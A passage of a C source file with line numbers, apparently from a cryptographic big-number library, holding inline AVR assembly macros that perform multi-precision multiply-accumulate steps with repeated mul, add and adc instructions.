7044 "adc r23, r25 \n\t" \
7045 "mul r6, r19 \n\t" \
7046 "add r24, r0 \n\t" \
7047 "adc r22, r1 \n\t" \
7048 "adc r23, r25 \n\t" \
7049 "mul r7, r18 \n\t" \
7050 "add r24, r0 \n\t" \
7051 "adc r22, r1 \n\t" \
7052 "adc r23, r25 \n\t" \
7053 "mul r8, r17 \n\t" \
7054 "add r24, r0 \n\t" \
7055 "adc r22, r1 \n\t" \
7056 "adc r23, r25 \n\t" \
7057 "mul r9, r16 \n\t" \
7058 "add r24, r0 \n\t" \
7059 "adc r22, r1 \n\t" \
7060 "adc r23, r25 \n\t" \
7061 "mul r10, r15 \n\t" \
7062 "add r24, r0 \n\t" \
7063 "adc r22, r1 \n\t" \
7064 "adc r23, r25 \n\t" \
7065 "mul r11, r14 \n\t" \
7066 "add r24, r0 \n\t" \
7067 "adc r22, r1 \n\t" \
7068 "adc r23, r25 \n\t" \
7069 "mul r2, r13 \n\t" \
7070 "add r24, r0 \n\t" \
7071 "adc r22, r1 \n\t" \
7072 "adc r23, r25 \n\t" \
7073 "mul r3, r12 \n\t" \
7074 "add r24, r0 \n\t" \
7075 "adc r22, r1 \n\t" \
7076 "adc r23, r25 \n\t" \
7077 "ld r0, z \n\t" \
7078 "add r24, r0 \n\t" \
7079 "adc r22, r25 \n\t" \
7080 "adc r23, r25 \n\t" \
7081 "st z+, r24 \n\t" \
7082 \
7083 "ld r4, x+ \n\t" \
7084 "ldi r24, 0 \n\t" \
7085 "mul r5, r21 \n\t" \
7086 "add r22, r0 \n\t" \
7087 "adc r23, r1 \n\t" \
7088 "adc r24, r25 \n\t" \
7089 "mul r6, r20 \n\t" \
7090 "add r22, r0 \n\t" \
7091 "adc r23, r1 \n\t" \
7092 "adc r24, r25 \n\t" \
7093 "mul r7, r19 \n\t" \
7094 "add r22, r0 \n\t" \
7095 "adc r23, r1 \n\t" \
7096 "adc r24, r25 \n\t" \
7097 "mul r8, r18 \n\t" \
7098 "add r22, r0 \n\t" \
7099 "adc r23, r1 \n\t" \
7100 "adc r24, r25 \n\t" \
7101 "mul r9, r17 \n\t" \
7102 "add r22, r0 \n\t" \
7103 "adc r23, r1 \n\t" \
7104 "adc r24, r25 \n\t" \
7105 "mul r10, r16 \n\t" \
7106 "add r22, r0 \n\t" \
7107 "adc r23, r1 \n\t" \
7108 "adc r24, r25 \n\t" \
7109 "mul r11, r15 \n\t" \
7110 "add r22, r0 \n\t" \
7111 "adc r23, r1 \n\t" \
7112 "adc r24, r25 \n\t" \
7113 "mul r2, r14 \n\t" \
7114 "add r22, r0 \n\t" \
7115 "adc r23, r1 \n\t" \
7116 "adc r24, r25 \n\t" \
7117 "mul r3, r13 \n\t" \
7118 "add r22, r0 \n\t" \
7119 "adc r23, r1 \n\t" \
7120 "adc r24, r25 \n\t" \
7121 "mul r4, r12 \n\t" \
7122 "add r22, r0 \n\t" \
7123 "adc r23, r1 \n\t" \
7124 "adc r24, r25 \n\t" \
7125 "ld r0, z \n\t" \
7126 "add r22, r0 \n\t" \
7127 "adc r23, r25 \n\t" \
7128 "adc r24, r25 \n\t" \
7129 "st z+, r22 \n\t" \
7130 \
7131 "ld r5, x+ \n\t" \
7132 "ldi r22, 0 \n\t" \
7133 "mul r6, r21 \n\t" \
7134 "add r23, r0 \n\t" \
7135 "adc r24, r1 \n\t" \
7136 "adc r22, r25 \n\t" \
7137 "mul r7, r20 \n\t" \
7138 "add r23, r0 \n\t" \
7139 "adc r24, r1 \n\t" \
7140 "adc r22, r25 \n\t" \
7141 "mul r8, r19 \n\t" \
7142 "add r23, r0 \n\t" \
7143 "adc r24, r1 \n\t" \
7144 "adc r22, r25 \n\t" \
7145 "mul r9, r18 \n\t" \
7146 "add r23, r0 \n\t" \
7147 "adc r24, r1 \n\t" \
7148 "adc r22, r25 \n\t" \
7149 "mul r10, r17 \n\t" \
7150 "add r23, r0 \n\t" \
7151 "adc r24, r1 \n\t" \
7152 "adc r22, r25 \n\t" \
7153 "mul r11, r16 \n\t" \
7154 "add r23, r0 \n\t" \
7155 "adc r24, r1 \n\t" \
7156 "adc r22, r25 \n\t" \
7157 "mul r2, r15 \n\t" \
7158 "add r23, r0 \n\t" \
7159 "adc r24, r1 \n\t" \
7160 "adc r22, r25 \n\t" \
7161 "mul r3, r14 \n\t" \
7162 "add r23, r0 \n\t" \
7163 "adc r24, r1 \n\t" \
7164 "adc r22, r25 \n\t" \
7165 "mul r4, r13 \n\t" \
7166 "add r23, r0 \n\t" \
7167 "adc r24, r1 \n\t" \
7168 "adc r22, r25 \n\t" \
7169 "mul r5, r12 \n\t" \
7170 "add r23, r0 \n\t" \
7171 "adc r24, r1 \n\t" \
7172 "adc r22, r25 \n\t" \
7173 "ld r0, z \n\t" \
7174 "add r23, r0 \n\t" \
7175 "adc r24, r25 \n\t" \
7176 "adc r22, r25 \n\t" \
7177 "st z+, r23 \n\t" \
7178 \
7179 "ld r6, x+ \n\t" \
7180 "ldi r23, 0 \n\t" \
7181 "mul r7, r21 \n\t" \
7182 "add r24, r0 \n\t" \
7183 "adc r22, r1 \n\t" \
7184 "adc r23, r25 \n\t" \
7185 "mul r8, r20 \n\t" \
7186 "add r24, r0 \n\t" \
7187 "adc r22, r1 \n\t" \
7188 "adc r23, r25 \n\t" \
7189 "mul r9, r19 \n\t" \
7190 "add r24, r0 \n\t" \
7191 "adc r22, r1 \n\t" \
7192 "adc r23, r25 \n\t" \
7193 "mul r10, r18 \n\t" \
7194 "add r24, r0 \n\t" \
7195 "adc r22, r1 \n\t" \
7196 "adc r23, r25 \n\t" \
7197 "mul r11, r17 \n\t" \
7198 "add r24, r0 \n\t" \
7199 "adc r22, r1 \n\t" \
7200 "adc r23, r25 \n\t" \
7201 "mul r2, r16 \n\t" \
7202 "add r24, r0 \n\t" \
7203 "adc r22, r1 \n\t" \
7204 "adc r23, r25 \n\t" \
7205 "mul r3, r15 \n\t" \
7206 "add r24, r0 \n\t" \
7207 "adc r22, r1 \n\t" \
7208 "adc r23, r25 \n\t" \
7209 "mul r4, r14 \n\t" \
7210 "add r24, r0 \n\t" \
7211 "adc r22, r1 \n\t" \
7212 "adc r23, r25 \n\t" \
7213 "mul r5, r13 \n\t" \
7214 "add r24, r0 \n\t" \
7215 "adc r22, r1 \n\t" \
7216 "adc r23, r25 \n\t" \
7217 "mul r6, r12 \n\t" \
7218 "add r24, r0 \n\t" \
7219 "adc r22, r1 \n\t" \
7220 "adc r23, r25 \n\t" \
7221 "ld r0, z \n\t" \
7222 "add r24, r0 \n\t" \
7223 "adc r22, r25 \n\t" \
7224 "adc r23, r25 \n\t" \
7225 "st z+, r24 \n\t" \
7226 \
7227 "ld r7, x+ \n\t" \
7228 "ldi r24, 0 \n\t" \
7229 "mul r8, r21 \n\t" \
7230 "add r22, r0 \n\t" \
7231 "adc r23, r1 \n\t" \
7232 "adc r24, r25 \n\t" \
7233 "mul r9, r20 \n\t" \
7234 "add r22, r0 \n\t" \
7235 "adc r23, r1 \n\t" \
7236 "adc r24, r25 \n\t" \
7237 "mul r10, r19 \n\t" \
7238 "add r22, r0 \n\t" \
7239 "adc r23, r1 \n\t" \
7240 "adc r24, r25 \n\t" \
7241 "mul r11, r18 \n\t" \
7242 "add r22, r0 \n\t" \
7243 "adc r23, r1 \n\t" \
7244 "adc r24, r25 \n\t" \
7245 "mul r2, r17 \n\t" \
7246 "add r22, r0 \n\t" \
7247 "adc r23, r1 \n\t" \
7248 "adc r24, r25 \n\t" \
7249 "mul r3, r16 \n\t" \
7250 "add r22, r0 \n\t" \
7251 "adc r23, r1 \n\t" \
7252 "adc r24, r25 \n\t" \
7253 "mul r4, r15 \n\t" \
7254 "add r22, r0 \n\t" \
7255 "adc r23, r1 \n\t" \
7256 "adc r24, r25 \n\t" \
7257 "mul r5, r14 \n\t" \
7258 "add r22, r0 \n\t" \
7259 "adc r23, r1 \n\t" \
7260 "adc r24, r25 \n\t" \
7261 "mul r6, r13 \n\t" \
7262 "add r22, r0 \n\t" \
7263 "adc r23, r1 \n\t" \
7264 "adc r24, r25 \n\t" \
7265 "mul r7, r12 \n\t" \
7266 "add r22, r0 \n\t" \
7267 "adc r23, r1 \n\t" \
7268 "adc r24, r25 \n\t" \
7269 "ld r0, z \n\t" \
7270 "add r22, r0 \n\t" \
7271 "adc r23, r25 \n\t" \
7272 "adc r24, r25 \n\t" \
7273 "st z+, r22 \n\t" \
7274 \
7275 "ld r8, x+ \n\t" \
7276 "ldi r22, 0 \n\t" \
7277 "mul r9, r21 \n\t" \
7278 "add r23, r0 \n\t" \
7279 "adc r24, r1 \n\t" \
7280 "adc r22, r25 \n\t" \
7281 "mul r10, r20 \n\t" \
7282 "add r23, r0 \n\t" \
7283 "adc r24, r1 \n\t" \
7284 "adc r22, r25 \n\t" \
7285 "mul r11, r19 \n\t" \
7286 "add r23, r0 \n\t" \
7287 "adc r24, r1 \n\t" \
7288 "adc r22, r25 \n\t" \
7289 "mul r2, r18 \n\t" \
7290 "add r23, r0 \n\t" \
7291 "adc r24, r1 \n\t" \
7292 "adc r22, r25 \n\t" \
7293 "mul r3, r17 \n\t" \
7294 "add r23, r0 \n\t" \
7295 "adc r24, r1 \n\t" \
7296 "adc r22, r25 \n\t" \
7297 "mul r4, r16 \n\t" \
7298 "add r23, r0 \n\t" \
7299 "adc r24, r1 \n\t" \
7300 "adc r22, r25 \n\t" \
7301 "mul r5, r15 \n\t" \
7302 "add r23, r0 \n\t" \
7303 "adc r24, r1 \n\t" \
7304 "adc r22, r25 \n\t" \
7305 "mul r6, r14 \n\t" \
7306 "add r23, r0 \n\t" \
7307 "adc r24, r1 \n\t" \
7308 "adc r22, r25 \n\t" \
7309 "mul r7, r13 \n\t" \
7310 "add r23, r0 \n\t" \
7311 "adc r24, r1 \n\t" \
7312 "adc r22, r25 \n\t" \
7313 "mul r8, r12 \n\t" \
7314 "add r23, r0 \n\t" \
7315 "adc r24, r1 \n\t" \
7316 "adc r22, r25 \n\t" \
7317 "ld r0, z \n\t" \
7318 "add r23, r0 \n\t" \
7319 "adc r24, r25 \n\t" \
7320 "adc r22, r25 \n\t" \
7321 "st z+, r23 \n\t" \
7322 \
7323 "ld r9, x+ \n\t" \
7324 "ldi r23, 0 \n\t" \
7325 "mul r10, r21 \n\t" \
7326 "add r24, r0 \n\t" \
7327 "adc r22, r1 \n\t" \
7328 "adc r23, r25 \n\t" \
7329 "mul r11, r20 \n\t" \
7330 "add r24, r0 \n\t" \
7331 "adc r22, r1 \n\t" \
7332 "adc r23, r25 \n\t" \
7333 "mul r2, r19 \n\t" \
7334 "add r24, r0 \n\t" \
7335 "adc r22, r1 \n\t" \
7336 "adc r23, r25 \n\t" \
7337 "mul r3, r18 \n\t" \
7338 "add r24, r0 \n\t" \
7339 "adc r22, r1 \n\t" \
7340 "adc r23, r25 \n\t" \
7341 "mul r4, r17 \n\t" \
7342 "add r24, r0 \n\t" \
7343 "adc r22, r1 \n\t" \
7344 "adc r23, r25 \n\t" \
7345 "mul r5, r16 \n\t" \
7346 "add r24, r0 \n\t" \
7347 "adc r22, r1 \n\t" \
7348 "adc r23, r25 \n\t" \
7349 "mul r6, r15 \n\t" \
7350 "add r24, r0 \n\t" \
7351 "adc r22, r1 \n\t" \
7352 "adc r23, r25 \n\t" \
7353 "mul r7, r14 \n\t" \
7354 "add r24, r0 \n\t" \
7355 "adc r22, r1 \n\t" \
7356 "adc r23, r25 \n\t" \
7357 "mul r8, r13 \n\t" \
7358 "add r24, r0 \n\t" \
7359 "adc r22, r1 \n\t" \
7360 "adc r23, r25 \n\t" \
7361 "mul r9, r12 \n\t" \
7362 "add r24, r0 \n\t" \
7363 "adc r22, r1 \n\t" \
7364 "adc r23, r25 \n\t" \
7365 "ld r0, z \n\t" \
7366 "add r24, r0 \n\t" \
7367 "adc r22, r25 \n\t" \
7368 "adc r23, r25 \n\t" \
7369 "st z+, r24 \n\t" \
7370 \
7371 "ld r12, y+ \n\t" \
7372 "ldi r24, 0 \n\t" \
7373 "mul r10, r12 \n\t" \
7374 "add r22, r0 \n\t" \
7375 "adc r23, r1 \n\t" \
7376 "adc r24, r25 \n\t" \
7377 "mul r11, r21 \n\t" \
7378 "add r22, r0 \n\t" \
7379 "adc r23, r1 \n\t" \
7380 "adc r24, r25 \n\t" \
7381 "mul r2, r20 \n\t" \
7382 "add r22, r0 \n\t" \
7383 "adc r23, r1 \n\t" \
7384 "adc r24, r25 \n\t" \
7385 "mul r3, r19 \n\t" \
7386 "add r22, r0 \n\t" \
7387 "adc r23, r1 \n\t" \
7388 "adc r24, r25 \n\t" \
7389 "mul r4, r18 \n\t" \
7390 "add r22, r0 \n\t" \
7391 "adc r23, r1 \n\t" \
7392 "adc r24, r25 \n\t" \
7393 "mul r5, r17 \n\t" \
7394 "add r22, r0 \n\t" \
7395 "adc r23, r1 \n\t" \
7396 "adc r24, r25 \n\t" \
7397 "mul r6, r16 \n\t" \
7398 "add r22, r0 \n\t" \
7399 "adc r23, r1 \n\t" \
7400 "adc r24, r25 \n\t" \
7401 "mul r7, r15 \n\t" \
7402 "add r22, r0 \n\t" \
7403 "adc r23, r1 \n\t" \
7404 "adc r24, r25 \n\t" \
7405 "mul r8, r14 \n\t" \
7406 "add r22, r0 \n\t" \
7407 "adc r23, r1 \n\t" \
7408 "adc r24, r25 \n\t" \
7409 "mul r9, r13 \n\t" \
7410 "add r22, r0 \n\t" \
7411 "adc r23, r1 \n\t" \
7412 "adc r24, r25 \n\t" \
7413 "ld r0, z \n\t" \
7414 "add r22, r0 \n\t" \
7415 "adc r23, r25 \n\t" \
7416 "adc r24, r25 \n\t" \
7417 "st z+, r22 \n\t" \
7418 \
7419 "ld r13, y+ \n\t" \
7420 "ldi r22, 0 \n\t" \
7421 "mul r10, r13 \n\t" \
7422 "add r23, r0 \n\t" \
7423 "adc r24, r1 \n\t" \
7424 "adc r22, r25 \n\t" \
7425 "mul r11, r12 \n\t" \
7426 "add r23, r0 \n\t" \
7427 "adc r24, r1 \n\t" \
7428 "adc r22, r25 \n\t" \
7429 "mul r2, r21 \n\t" \
7430 "add r23, r0 \n\t" \
7431 "adc r24, r1 \n\t" \
7432 "adc r22, r25 \n\t" \
7433 "mul r3, r20 \n\t" \
7434 "add r23, r0 \n\t" \
7435 "adc r24, r1 \n\t" \
7436 "adc r22, r25 \n\t" \
7437 "mul r4, r19 \n\t" \
7438 "add r23, r0 \n\t" \
7439 "adc r24, r1 \n\t" \
7440 "adc r22, r25 \n\t" \
7441 "mul r5, r18 \n\t" \
7442 "add r23, r0 \n\t" \
7443 "adc r24, r1 \n\t" \
7444 "adc r22, r25 \n\t" \
7445 "mul r6, r17 \n\t" \
7446 "add r23, r0 \n\t" \
7447 "adc r24, r1 \n\t" \
7448 "adc r22, r25 \n\t" \
7449 "mul r7, r16 \n\t" \
7450 "add r23, r0 \n\t" \
7451 "adc r24, r1 \n\t" \
7452 "adc r22, r25 \n\t" \
7453 "mul r8, r15 \n\t" \
7454 "add r23, r0 \n\t" \
7455 "adc r24, r1 \n\t" \
7456 "adc r22, r25 \n\t" \
7457 "mul r9, r14 \n\t" \
7458 "add r23, r0 \n\t" \
7459 "adc r24, r1 \n\t" \
7460 "adc r22, r25 \n\t" \
7461 "ld r0, z \n\t" \
7462 "add r23, r0 \n\t" \
7463 "adc r24, r25 \n\t" \
7464 "adc r22, r25 \n\t" \
7465 "st z+, r23 \n\t" \
7466 \
7467 "ld r14, y+ \n\t" \
7468 "ldi r23, 0 \n\t" \
7469 "mul r10, r14 \n\t" \
7470 "add r24, r0 \n\t" \
7471 "adc r22, r1 \n\t" \
7472 "adc r23, r25 \n\t" \
7473 "mul r11, r13 \n\t" \
7474 "add r24, r0 \n\t" \
7475 "adc r22, r1 \n\t" \
7476 "adc r23, r25 \n\t" \
7477 "mul r2, r12 \n\t" \
7478 "add r24, r0 \n\t" \
7479 "adc r22, r1 \n\t" \
7480 "adc r23, r25 \n\t" \
7481 "mul r3, r21 \n\t" \
7482 "add r24, r0 \n\t" \
7483 "adc r22, r1 \n\t" \
7484 "adc r23, r25 \n\t" \
7485 "mul r4, r20 \n\t" \
7486 "add r24, r0 \n\t" \
7487 "adc r22, r1 \n\t" \
7488 "adc r23, r25 \n\t" \
7489 "mul r5, r19 \n\t" \
7490 "add r24, r0 \n\t" \
7491 "adc r22, r1 \n\t" \
7492 "adc r23, r25 \n\t" \
7493 "mul r6, r18 \n\t" \
7494 "add r24, r0 \n\t" \
7495 "adc r22, r1 \n\t" \
7496 "adc r23, r25 \n\t" \
7497 "mul r7, r17 \n\t" \
7498 "add r24, r0 \n\t" \
7499 "adc r22, r1 \n\t" \
7500 "adc r23, r25 \n\t" \
7501 "mul r8, r16 \n\t" \
7502 "add r24, r0 \n\t" \
7503 "adc r22, r1 \n\t" \
7504 "adc r23, r25 \n\t" \
7505 "mul r9, r15 \n\t" \
7506 "add r24, r0 \n\t" \
7507 "adc r22, r1 \n\t" \
7508 "adc r23, r25 \n\t" \
7509 "ld r0, z \n\t" \
7510 "add r24, r0 \n\t" \
7511 "adc r22, r25 \n\t" \
7512 "adc r23, r25 \n\t" \
7513 "st z+, r24 \n\t" \
7514 \
7515 "ld r15, y+ \n\t" \
7516 "ldi r24, 0 \n\t" \
7517 "mul r10, r15 \n\t" \
7518 "add r22, r0 \n\t" \
7519 "adc r23, r1 \n\t" \
7520 "adc r24, r25 \n\t" \
7521 "mul r11, r14 \n\t" \
7522 "add r22, r0 \n\t" \
7523 "adc r23, r1 \n\t" \
7524 "adc r24, r25 \n\t" \
7525 "mul r2, r13 \n\t" \
7526 "add r22, r0 \n\t" \
7527 "adc r23, r1 \n\t" \
7528 "adc r24, r25 \n\t" \
7529 "mul r3, r12 \n\t" \
7530 "add r22, r0 \n\t" \
7531 "adc r23, r1 \n\t" \
7532 "adc r24, r25 \n\t" \
7533 "mul r4, r21 \n\t" \
7534 "add r22, r0 \n\t" \
7535 "adc r23, r1 \n\t" \
7536 "adc r24, r25 \n\t" \
7537 "mul r5, r20 \n\t" \
7538 "add r22, r0 \n\t" \
7539 "adc r23, r1 \n\t" \
7540 "adc r24, r25 \n\t" \
7541 "mul r6, r19 \n\t" \
7542 "add r22, r0 \n\t" \
7543 "adc r23, r1 \n\t" \
7544 "adc r24, r25 \n\t" \
7545 "mul r7, r18 \n\t" \
7546 "add r22, r0 \n\t" \
7547 "adc r23, r1 \n\t" \
7548 "adc r24, r25 \n\t" \
7549 "mul r8, r17 \n\t" \
7550 "add r22, r0 \n\t" \
7551 "adc r23, r1 \n\t" \
7552 "adc r24, r25 \n\t" \
7553 "mul r9, r16 \n\t" \
7554 "add r22, r0 \n\t" \
7555 "adc r23, r1 \n\t" \
7556 "adc r24, r25 \n\t" \
7557 "ld r0, z \n\t" \
7558 "add r22, r0 \n\t" \
7559 "adc r23, r25 \n\t" \
7560 "adc r24, r25 \n\t" \
7561 "st z+, r22 \n\t" \
7562 \
7563 "ld r16, y+ \n\t" \
7564 "ldi r22, 0 \n\t" \
7565 "mul r10, r16 \n\t" \
7566 "add r23, r0 \n\t" \
7567 "adc r24, r1 \n\t" \
7568 "adc r22, r25 \n\t" \
7569 "mul r11, r15 \n\t" \
7570 "add r23, r0 \n\t" \
7571 "adc r24, r1 \n\t" \
7572 "adc r22, r25 \n\t" \
7573 "mul r2, r14 \n\t" \
7574 "add r23, r0 \n\t" \
7575 "adc r24, r1 \n\t" \
7576 "adc r22, r25 \n\t" \
7577 "mul r3, r13 \n\t" \
7578 "add r23, r0 \n\t" \
7579 "adc r24, r1 \n\t" \
7580 "adc r22, r25 \n\t" \
7581 "mul r4, r12 \n\t" \
7582 "add r23, r0 \n\t" \
7583 "adc r24, r1 \n\t" \
7584 "adc r22, r25 \n\t" \
7585 "mul r5, r21 \n\t" \
7586 "add r23, r0 \n\t" \
7587 "adc r24, r1 \n\t" \
7588 "adc r22, r25 \n\t" \
7589 "mul r6, r20 \n\t" \
7590 "add r23, r0 \n\t" \
7591 "adc r24, r1 \n\t" \
7592 "adc r22, r25 \n\t" \
7593 "mul r7, r19 \n\t" \
7594 "add r23, r0 \n\t" \
7595 "adc r24, r1 \n\t" \
7596 "adc r22, r25 \n\t" \
7597 "mul r8, r18 \n\t" \
7598 "add r23, r0 \n\t" \
7599 "adc r24, r1 \n\t" \
7600 "adc r22, r25 \n\t" \
7601 "mul r9, r17 \n\t" \
7602 "add r23, r0 \n\t" \
7603 "adc r24, r1 \n\t" \
7604 "adc r22, r25 \n\t" \
7605 "ld r0, z \n\t" \
7606 "add r23, r0 \n\t" \
7607 "adc r24, r25 \n\t" \
7608 "adc r22, r25 \n\t" \
7609 "st z+, r23 \n\t" \
7610 \
7611 "ld r17, y+ \n\t" \
7612 "ldi r23, 0 \n\t" \
7613 "mul r10, r17 \n\t" \
7614 "add r24, r0 \n\t" \
7615 "adc r22, r1 \n\t" \
7616 "adc r23, r25 \n\t" \
7617 "mul r11, r16 \n\t" \
7618 "add r24, r0 \n\t" \
7619 "adc r22, r1 \n\t" \
7620 "adc r23, r25 \n\t" \
7621 "mul r2, r15 \n\t" \
7622 "add r24, r0 \n\t" \
7623 "adc r22, r1 \n\t" \
7624 "adc r23, r25 \n\t" \
7625 "mul r3, r14 \n\t" \
7626 "add r24, r0 \n\t" \
7627 "adc r22, r1 \n\t" \
7628 "adc r23, r25 \n\t" \
7629 "mul r4, r13 \n\t" \
7630 "add r24, r0 \n\t" \
7631 "adc r22, r1 \n\t" \
7632 "adc r23, r25 \n\t" \
7633 "mul r5, r12 \n\t" \
7634 "add r24, r0 \n\t" \
7635 "adc r22, r1 \n\t" \
7636 "adc r23, r25 \n\t" \
7637 "mul r6, r21 \n\t" \
7638 "add r24, r0 \n\t" \
7639 "adc r22, r1 \n\t" \
7640 "adc r23, r25 \n\t" \
7641 "mul r7, r20 \n\t" \
7642 "add r24, r0 \n\t" \
7643 "adc r22, r1 \n\t" \
7644 "adc r23, r25 \n\t" \
7645 "mul r8, r19 \n\t" \
7646 "add r24, r0 \n\t" \
7647 "adc r22, r1 \n\t" \
7648 "adc r23, r25 \n\t" \
7649 "mul r9, r18 \n\t" \
7650 "add r24, r0 \n\t" \
7651 "adc r22, r1 \n\t" \
7652 "adc r23, r25 \n\t" \
7653 "ld r0, z \n\t" \
7654 "add r24, r0 \n\t" \
7655 "adc r22, r25 \n\t" \
7656 "adc r23, r25 \n\t" \
7657 "st z+, r24 \n\t" \
7658 \
7659 "ld r18, y+ \n\t" \
7660 "ldi r24, 0 \n\t" \
7661 "mul r10, r18 \n\t" \
7662 "add r22, r0 \n\t" \
7663 "adc r23, r1 \n\t" \
7664 "adc r24, r25 \n\t" \
7665 "mul r11, r17 \n\t" \
7666 "add r22, r0 \n\t" \
7667 "adc r23, r1 \n\t" \
7668 "adc r24, r25 \n\t" \
7669 "mul r2, r16 \n\t" \
7670 "add r22, r0 \n\t" \
7671 "adc r23, r1 \n\t" \
7672 "adc r24, r25 \n\t" \
7673 "mul r3, r15 \n\t" \
7674 "add r22, r0 \n\t" \
7675 "adc r23, r1 \n\t" \
7676 "adc r24, r25 \n\t" \
7677 "mul r4, r14 \n\t" \
7678 "add r22, r0 \n\t" \
7679 "adc r23, r1 \n\t" \
7680 "adc r24, r25 \n\t" \
7681 "mul r5, r13 \n\t" \
7682 "add r22, r0 \n\t" \
7683 "adc r23, r1 \n\t" \
7684 "adc r24, r25 \n\t" \
7685 "mul r6, r12 \n\t" \
7686 "add r22, r0 \n\t" \
7687 "adc r23, r1 \n\t" \
7688 "adc r24, r25 \n\t" \
7689 "mul r7, r21 \n\t" \
7690 "add r22, r0 \n\t" \
7691 "adc r23, r1 \n\t" \
7692 "adc r24, r25 \n\t" \
7693 "mul r8, r20 \n\t" \
7694 "add r22, r0 \n\t" \
7695 "adc r23, r1 \n\t" \
7696 "adc r24, r25 \n\t" \
7697 "mul r9, r19 \n\t" \
7698 "add r22, r0 \n\t" \
7699 "adc r23, r1 \n\t" \
7700 "adc r24, r25 \n\t" \
7701 "ld r0, z \n\t" \
7702 "add r22, r0 \n\t" \
7703 "adc r23, r25 \n\t" \
7704 "adc r24, r25 \n\t" \
7705 "st z+, r22 \n\t" \
7706 \
7707 "ld r19, y+ \n\t" \
7708 "ldi r22, 0 \n\t" \
7709 "mul r10, r19 \n\t" \
7710 "add r23, r0 \n\t" \
7711 "adc r24, r1 \n\t" \
7712 "adc r22, r25 \n\t" \
7713 "mul r11, r18 \n\t" \
7714 "add r23, r0 \n\t" \
7715 "adc r24, r1 \n\t" \
7716 "adc r22, r25 \n\t" \
7717 "mul r2, r17 \n\t" \
7718 "add r23, r0 \n\t" \
7719 "adc r24, r1 \n\t" \
7720 "adc r22, r25 \n\t" \
7721 "mul r3, r16 \n\t" \
7722 "add r23, r0 \n\t" \
7723 "adc r24, r1 \n\t" \
7724 "adc r22, r25 \n\t" \
7725 "mul r4, r15 \n\t" \
7726 "add r23, r0 \n\t" \
7727 "adc r24, r1 \n\t" \
7728 "adc r22, r25 \n\t" \
7729 "mul r5, r14 \n\t" \
7730 "add r23, r0 \n\t" \
7731 "adc r24, r1 \n\t" \
7732 "adc r22, r25 \n\t" \
7733 "mul r6, r13 \n\t" \
7734 "add r23, r0 \n\t" \
7735 "adc r24, r1 \n\t" \
7736 "adc r22, r25 \n\t" \
7737 "mul r7, r12 \n\t" \
7738 "add r23, r0 \n\t" \
7739 "adc r24, r1 \n\t" \
7740 "adc r22, r25 \n\t" \
7741 "mul r8, r21 \n\t" \
7742 "add r23, r0 \n\t" \
7743 "adc r24, r1 \n\t" \
7744 "adc r22, r25 \n\t" \
7745 "mul r9, r20 \n\t" \
7746 "add r23, r0 \n\t" \
7747 "adc r24, r1 \n\t" \
7748 "adc r22, r25 \n\t" \
7749 "ld r0, z \n\t" \
7750 "add r23, r0 \n\t" \
7751 "adc r24, r25 \n\t" \
7752 "adc r22, r25 \n\t" \
7753 "st z+, r23 \n\t" \
7754 \
7755 "ld r20, y+ \n\t" \
7756 "ldi r23, 0 \n\t" \
7757 "mul r10, r20 \n\t" \
7758 "add r24, r0 \n\t" \
7759 "adc r22, r1 \n\t" \
7760 "adc r23, r25 \n\t" \
7761 "mul r11, r19 \n\t" \
7762 "add r24, r0 \n\t" \
7763 "adc r22, r1 \n\t" \
7764 "adc r23, r25 \n\t" \
7765 "mul r2, r18 \n\t" \
7766 "add r24, r0 \n\t" \
7767 "adc r22, r1 \n\t" \
7768 "adc r23, r25 \n\t" \
7769 "mul r3, r17 \n\t" \
7770 "add r24, r0 \n\t" \
7771 "adc r22, r1 \n\t" \
7772 "adc r23, r25 \n\t" \
7773 "mul r4, r16 \n\t" \
7774 "add r24, r0 \n\t" \
7775 "adc r22, r1 \n\t" \
7776 "adc r23, r25 \n\t" \
7777 "mul r5, r15 \n\t" \
7778 "add r24, r0 \n\t" \
7779 "adc r22, r1 \n\t" \
7780 "adc r23, r25 \n\t" \
7781 "mul r6, r14 \n\t" \
7782 "add r24, r0 \n\t" \
7783 "adc r22, r1 \n\t" \
7784 "adc r23, r25 \n\t" \
7785 "mul r7, r13 \n\t" \
7786 "add r24, r0 \n\t" \
7787 "adc r22, r1 \n\t" \
7788 "adc r23, r25 \n\t" \
7789 "mul r8, r12 \n\t" \
7790 "add r24, r0 \n\t" \
7791 "adc r22, r1 \n\t" \
7792 "adc r23, r25 \n\t" \
7793 "mul r9, r21 \n\t" \
7794 "add r24, r0 \n\t" \
7795 "adc r22, r1 \n\t" \
7796 "adc r23, r25 \n\t" \
7797 "ld r0, z \n\t" \
7798 "add r24, r0 \n\t" \
7799 "adc r22, r25 \n\t" \
7800 "adc r23, r25 \n\t" \
7801 "st z+, r24 \n\t" \
7802 \
7803 "ld r21, y+ \n\t" \
7804 "ldi r24, 0 \n\t" \
7805 "mul r10, r21 \n\t" \
7806 "add r22, r0 \n\t" \
7807 "adc r23, r1 \n\t" \
7808 "adc r24, r25 \n\t" \
7809 "mul r11, r20 \n\t" \
7810 "add r22, r0 \n\t" \
7811 "adc r23, r1 \n\t" \
7812 "adc r24, r25 \n\t" \
7813 "mul r2, r19 \n\t" \
7814 "add r22, r0 \n\t" \
7815 "adc r23, r1 \n\t" \
7816 "adc r24, r25 \n\t" \
7817 "mul r3, r18 \n\t" \
7818 "add r22, r0 \n\t" \
7819 "adc r23, r1 \n\t" \
7820 "adc r24, r25 \n\t" \
7821 "mul r4, r17 \n\t" \
7822 "add r22, r0 \n\t" \
7823 "adc r23, r1 \n\t" \
7824 "adc r24, r25 \n\t" \
7825 "mul r5, r16 \n\t" \
7826 "add r22, r0 \n\t" \
7827 "adc r23, r1 \n\t" \
7828 "adc r24, r25 \n\t" \
7829 "mul r6, r15 \n\t" \
7830 "add r22, r0 \n\t" \
7831 "adc r23, r1 \n\t" \
7832 "adc r24, r25 \n\t" \
7833 "mul r7, r14 \n\t" \
7834 "add r22, r0 \n\t" \
7835 "adc r23, r1 \n\t" \
7836 "adc r24, r25 \n\t" \
7837 "mul r8, r13 \n\t" \
7838 "add r22, r0 \n\t" \
7839 "adc r23, r1 \n\t" \
7840 "adc r24, r25 \n\t" \
7841 "mul r9, r12 \n\t" \
7842 "add r22, r0 \n\t" \
7843 "adc r23, r1 \n\t" \
7844 "adc r24, r25 \n\t" \
7845 "ld r0, z \n\t" \
7846 "add r22, r0 \n\t" \
7847 "adc r23, r25 \n\t" \
7848 "adc r24, r25 \n\t" \
7849 "st z+, r22 \n\t" \
7850 \
7851 "ld r12, y+ \n\t" \
7852 "ldi r22, 0 \n\t" \
7853 "mul r10, r12 \n\t" \
7854 "add r23, r0 \n\t" \
7855 "adc r24, r1 \n\t" \
7856 "adc r22, r25 \n\t" \
